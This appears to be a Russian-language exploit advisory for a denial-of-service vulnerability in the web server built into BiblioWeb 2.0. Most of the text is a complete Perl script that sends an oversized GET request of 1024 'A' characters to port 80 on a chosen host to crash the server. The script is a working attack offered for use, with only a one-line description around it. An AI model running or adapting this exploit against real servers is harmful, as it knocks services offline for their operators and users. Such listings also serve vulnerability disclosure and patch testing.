DOS для BiblioWeb

BiblioWeb – первая программа с функциями библиографии для Web. Этот продукт поступает со встроенным Web сервером, который содержит уязвимость к DOS атаке. Уязвимость работает в версии 2.0.



Exploit:
#!/usr/bin/perl

system ("clear");

print "#################################################################\n";
print "# \n";
print "# \n";
print "# Simple Denial of Service against the Biblioweb Server \n";
print "# Reference http://www.biblioscape.com \n";
print "# Based info joetesta\@hushmail.com \n";
print "# \n";
print "# \n";
print "# Author: alt3kx! alt3kx\@ <raza-mexicana.org> \n";
print "# \n";
print "# \n";
print "# www.raza-mexicana.org \n";

use Getopt::Std;
use Socket;
getopts('h:', \%args);
if(!defined($args{h})){&usage;}

($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);

$def = "A";
$num = "1024";
$data .= $def x $num;
$serv = $args{h};
$port = 80;
$buf = "GET /$data /HTTP/1.0\r\n\r\n";


$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";


print("\nData has been successfully sent to $serv\n\n");

sub usage {die("\n\nUsage: perl -x $0 -h <hostname>\n\n");}